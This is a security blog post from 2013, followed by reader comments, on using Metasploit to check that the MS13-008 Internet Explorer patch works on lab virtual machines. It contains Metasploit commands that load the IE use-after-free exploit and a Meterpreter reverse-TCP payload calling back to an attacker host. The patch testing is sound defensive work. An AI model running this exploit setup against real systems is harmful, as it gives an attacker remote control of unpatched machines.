Using Metasploit for Patch Sanity Checks

Published: 2013-01-22
Last Updated: 2013-01-23 18:49:38 UTC
by Richard Porter (Version: 1)
4 comment(s)


Including link to Process Hacker, thanks to the readers for pointing out this oversight!


Earlier last week a reader wrote in and asked us if the patch for MS13-008 [1] [2] had worked. To do a comprehensive patch validation could take a significant amount of time however there are a couple of things you can do to get a quick sanity check.

I use Metasploit when doing patch sanity checks. Also, with a Virtual Machine you can take snapshots at various stages of patching. In this case my system is configured for VMWare Fusion Version 5.0.2 (900491) [4] and using Metasploit. Instructions for install of Metasploit exist all over the Internet so we will not reproduce that here. A great install for OS X Mountain Lion can be found here [5] however I avoid the Java component.

My setup includes two lab copies of Windows XP (I have been meaning to update to Windows 7 smiley), one that is not patched and one that is fully patched.

Using Google to Find Things

To run my quick sanity check, I will first locate the exploit within Metasploit ExploitDB. There are a couple of ways to achieve this. I usually start with a quick Google check first to locate the Metasploit page on MS13-008. Putting: ms13-008


In my search bar yields what I’m looking for at the top of the results [6].

Note:  You can take a look at this great presentation on some googleFu [7] and there are many books on the subject.


Setting the Trap

Second is to get Metasploit running on an attacker machine and run the setup for the exploit of MS13-008. We do this by navigating to the page that shows us where the exploit is in the exploitDB [6]. We find from the documentation that what we are looking for is located at:




So we run the command:


use exploit/windows/browser/ie_cbutton_uaf


Looking at the exploit documentation we are going to stick with the basic usage and enter:


set PAYLOAD windows/meterpreter/reverse_tcp


Then we enter in the next command and set it to our host only IP:


set LHOST <host only IP>


And then enter:




From here you should see output like the below image:


My setup is simple. I have two virtual machines ready to go, one fully patched and one that is unpatched. We will look for a successful exploit to validate the Metasploit payload. Secondarily we will run it against a fully patched system and insure that it fails.

Note: Take Snapshots of virtual machines. It is a royal pain when you forget to do this smiley!


Springing the Trap

The first step on the target machine is to start Process Hacker [8] so we can observe the hack process start. This also allows us to watch some behavior as it occurs (cause we like that stuff right? cool). Then we copy and paste the exploit ready web location into our target machine's browser and watch the magic!

At this point we know the unpatched version of the Virtual Machine is exploited and MS13-008 is a successful vector as process hacker is showing the injection.


Checking the Patch

Now for the quick sanity check and patch validation. Run the same exploit on your fully patched target virtual machine and the exploit should fail. In my case both my local VM anti-virus caught the exploit and the exploit failed after the anti-virus was disabled.

Copy and paste your exploit location into the patch validation target and watch the metasploit output.

In this case we are going to do a little bit more of a deeper monitor as we don't want to just trust what we see in Process Hacker. So we fire up RegShot [8] and take a one time snapshot, and we take a snapshot setting c: as the start directory.

Note:This can take some time.

After this is complete we then copy and paste our exploit location into the target browser and check our results. Sure enough, Metasploit sents the malacious exploit payload but does not seem to get a process connect:

We then continue to do a quick check with Process Hacker and look at processes.

And finally we check a second RegShot and look at any changes to the operating system.

After review of the Regshot logs we can say with some confidence that the patched system survived the attack.

We then enable our patched and updated Anti-Virus suite and run the attack again to check our AV signatures. It also picked up the attack.



In the fast paced often interupt driven lives we live in this method can act as a fast validation. Often times, when a reader writes in and asks if a patch took, this is the process I will use if I am in a hurry (cool which is often the case). This is of course taking into account that an exploit has been added to the Metasploit Database. There are other methods and remember this is just a quick check.













Richard Porter

--- ISC Handler on Duty

4 comment(s)


Aren't there easier ways of doing a comprehensive patch analysis on a box - Nessus w/ credentialed scan, Secunia PSI, FileHippo for 3rd party apps, MS Baseline Analyser, etc.?
dsh - SSHHH. Quiet. If there is a SANS post on patch validation using Metasploit, it is an *obvious* validation that using Metasploit is just fine in the enterprise. That way the IA peeps can keep their sploit skilz sharp for CTF and perhaps that sweet pentest gig they saw online, all while doing their day job. Don't you get it?
Guys, re-read the first sentence. The question was how can you tell if the patch actually worked to fix the exploit, not how to tell whether or not the patch was installed.
The first use of [8] is for Process Hacker but that's not the link at the bottom. It is also on sourceforge. An interesting tool to find out about.

Diary Archives